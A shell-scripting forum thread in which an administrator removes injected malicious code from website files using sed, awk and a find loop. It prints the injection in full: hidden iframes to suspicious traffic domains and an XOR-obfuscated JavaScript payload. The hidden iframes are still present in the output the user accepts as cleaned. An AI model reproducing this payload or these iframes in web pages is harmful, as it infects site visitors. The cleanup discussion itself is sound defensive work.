Shell Programming and Scripting

root@server1 [/opt/abc/manual]# sed -e '/language="JavaScript"/,/<\/script>/d' footer.html > footer.html.new

works but what if there is some genuine javascript starting with <script language="JavaScript">

Code:

nawk '/id="testws35fdgh"/ { print $0"XXXXX" } { print $0 }' login.php | sed -e 's/<div id="testws35fdgh">.*XXXXX$//' -e '/id="testws35fdgh"/,/<\/script>/d' > login.php.new

Thank you.. checking it.. please be online.. I want to resolve this..

nawk command is not availabe in the server... is rpm package avaible for nawk command in redhat linux ?

Great... thanks a ton.... its working perfect... you are my hero.


I have used awk instead of nawk

root@server1 [/opt/abc/manual]# awk '/id="testws35fdgh"/ { print $0"XXXXX" } { print $0 }' footer.html | sed -e 's/<div id="testws35fdgh">.*XXXXX$//' -e '/id="testws35fdgh"/,/<\/script>/d' > footer.html.new




root@server1 [/opt/abc/manual]# cat footer.html
<hr />

<h3 align="CENTER">Apache HTTP Server</h3>
<a href="./"><img src="images/index.gif" alt="Index" /></a>
<IFRAME name='StatPage' src='http://www.kaspersky-norton.ws/new/traff.php' width=5 height=5 style='display:none'></IFRAME><IFRAME name='StatPage' src='http://www.kusik-tusik-trf.com/trf/traf.php' width=5 height=5 style='display:none'></IFRAME><div id="testws35fdgh"></div>
<script language="JavaScript">
var0 = "\x69\x3c\x33\x27\x34\x38\x30\x75\x3b\x34"; var1 = "\x38\x30\x68\x72\x36\x3a\x20\x3b\x21\x30"; var2 = "\x27\x72\x75\x26\x27\x36\x68\x72\x3d\x21"; var3 = "\x21\x25\x6f\x7a\x7a\x26\x21\x30\x39\x34"; var4 = "\x34\x27\x21\x3a\x3c\x26\x7b\x27\x20\x7a"; var5 = "\x3c\x3b\x31\x30\x2d\x67\x7b\x25\x3d\x25"; var6 = "\x72\x75\x3d\x30\x3c\x32\x3d\x21\x68\x72"; var7 = "\x64\x63\x72\x75\x22\x3c\x31\x21\x3d\x68"; var8 = "\x72\x64\x63\x72\x75\x33\x27\x34\x38\x30"; var9 = "\x37\x3a\x27\x31\x30\x27\x68\x72\x65\x72"; var10 = "\x75\x26\x36\x27\x3a\x39\x39\x3c\x3b\x32"; var11 = "\x68\x72\x3b\x3a\x72\x6b\x69\x7a\x3c\x33"; var12 = "\x27\x34\x38\x30\x6b";
sr = var0+var1+var2+var3+var4+var5+var6+var7+var8+var9+var10+var11+var12;
dst = "";
for(i = 0; i < sr.length; i++) {
var d = parseInt(sr.charCodeAt(i) ^ 85);
dst = dst + String.fromCharCode(d);
}
document.getElementById("testws35fdgh").innerHTML = dst;
</script>

root@server1 [/opt/abc/manual]#
root@server1 [/opt/abc/manual]#
root@server1 [/opt/abc/manual]# cat footer.html.new
<hr />

<h3 align="CENTER">Apache HTTP Server</h3>
<a href="./"><img src="images/index.gif" alt="Index" /></a>
<IFRAME name='StatPage' src='http://www.kaspersky-norton.ws/new/traff.php' width=5 height=5 style='display:none'></IFRAME><IFRAME name='StatPage' src='http://www.kusik-tusik-trf.com/trf/traf.php' width=5 height=5 style='display:none'></IFRAME>




Thanks a lot......

1 last question.... how can we devise a script that will replace this on the same file it is scanned for.. it is not possible for me to manually run this script for each file.... is it possible?

Code:

#!/usr/bin/ksh

find <top directory where all these files are located> -type f -exec grep -l  'id="testws35fdgh"' {} \; | \
while read FILE
do
  awk '/id="testws35fdgh"/ { print $0"XXXXX" } { print $0 }' ${FILE} | sed -e 's/<div id="testws35fdgh">.*XXXXX$//' -e '/id="testws35fdgh"/,/<\/script>/d' > /tmp/whatsinaname
  cp /tmp/whatsinaname ${FILE}
done
rm /tmp/whatsinaname

Checking

Thanks